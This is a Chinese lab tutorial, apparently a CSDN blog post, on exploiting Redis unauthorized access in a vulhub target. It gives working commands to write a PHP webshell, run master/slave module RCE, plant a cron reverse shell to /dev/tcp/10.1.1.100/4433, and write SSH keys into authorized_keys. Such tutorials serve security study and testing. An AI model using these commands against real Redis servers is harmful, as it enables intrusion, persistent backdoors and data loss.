Redis未授权访问

一、漏洞描述

Redis未授权访问 因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。

1. 导致敏感信息泄露

2. 执行 flushall 可清空所有数据

3. 通过数据备份功能往磁盘写入后门文件(webshell、定时任务)

4. 如果Redis以root身份运行,可以给root账户写入SSH公钥文件,免密码登录

Redis主从复制RCE

在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实 现一个新的Redis命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的

二、影响版本

数据库版本 4.x / 5.x 

三、影响组件

Redis 服务器

四、漏洞判断

端口探测

nmap -v -Pn -p 6379 -sV: 192.168.116.149#-v:显示过程   -Pn:no ping   -sV:版本探测

发现 6379 端口开放,版本为 4.x 存在未授权访问漏洞

五、漏洞利用

靶机ip:192.168.116.149

攻击机ip: 192.168.116.151

1、环境搭建
靶机环境搭建:
安装docker

sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"

 安装docker

sudo apt-get update

sudo apt-get install docker-ce

 安装vulhub

git clone https://gitee.com/puier/vulhub.git

打开环境

docker-compose up -d      

docker-compose ps       

在后台模式下启动和运行一个或多个容器

查看当前运行的容器

攻击机安装 redis-cli 远程连接工具 

wget http://download.redis.io/redis-stable.tar.gz   
tar -zxvf redis-stable.tar.gz    
cd redis-stable      
make        

将 Redis 客户端命令行工具 redis-cli 的可执行文件复制到 /usr/bin/ 目录下,使其成为系统可执行文件之一

cp src/redis-cli /usr/bin/
redis-cli -h

2、写入webshell

连接redis

 写入webshell

config set dir /tmp    
config set dbfilename shell.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
#因为靶场没有开启web端口无法直接上传木马文件,所以用写入shell文件的方式添加后门
#写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行

查看靶机,发现webshell已经写入了

docker ps        查看ID

docker exec -it ID /bin/bash        到环境里面

3、使用py脚本执行远程命令
安装py脚本

git clone GitHub - vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module

cd redis-rogue-getshell/RedisModulesSDK/exp
make 

./redis-master.py -r 192.168.116.149 -p 6379 -L 192.168.116.151 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"
执行命令whoami

 4、写定时任务反弹shell
攻击机开启监听

 因为权限问题我没能利用这个

redis-cli -h 192.168.116.149 -p 6379

set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/4433 0>&1\n\n"

config set dir /var/spool/cron

config set dbfilename root

save

等待一分钟左右就会收到反弹shell了:
5、写SSH公钥

在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空

进入/root/.ssh目录: 将生成的公钥保存到1.txt:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

连接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入):cat 1.txt | redis-cli -h 10.11.45.150 -x set crack


更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):config set dir /root/.ssh

设置上传公钥的备份文件名字为authorized_keys:CONFIG SET dbfilename authorized_keys

保存并退出:

此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器:


原文链接:https://blog.csdn.net/weixin_45605352/article/details/118790775

 利用主从复制RCE(Python脚本)也直接看这篇

六、漏洞修复

升级版本

相关推荐

  1. HackTheBox-Redeemer:Redis授权访问

    2024-05-10 14:36:05       42 阅读
  2. 02-Redis授权访问漏洞

    2024-05-10 14:36:05       23 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-05-10 14:36:05       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-05-10 14:36:05       100 阅读
  3. 在Django里面运行非项目文件

    2024-05-10 14:36:05       82 阅读
  4. Python语言-面向对象

    2024-05-10 14:36:05       91 阅读

热门阅读

  1. slurm常用命令——多线程、多进程设置

    2024-05-10 14:36:05       28 阅读
  2. 从drugbank提取药物对应的靶点和基因信息

    2024-05-10 14:36:05       26 阅读
  3. Linux: 高CPU使用率的一种情况:内存不够用

    2024-05-10 14:36:05       29 阅读
  4. 「AIGC」AIGC提供内容生成效率

    2024-05-10 14:36:05       30 阅读
  5. linux开发笔记(buildroot打包镜像)

    2024-05-10 14:36:05       26 阅读
  6. 华为/华三交换机快速构建三层架构拓扑CLI

    2024-05-10 14:36:05       29 阅读
  7. UVa11865 Stream My Contest

    2024-05-10 14:36:05       33 阅读
  8. 模仿memmove函数

    2024-05-10 14:36:05       28 阅读
  9. QT设计模式:模板模式

    2024-05-10 14:36:05       33 阅读
  10. 代码随想录算法训练营第四十七天

    2024-05-10 14:36:05       31 阅读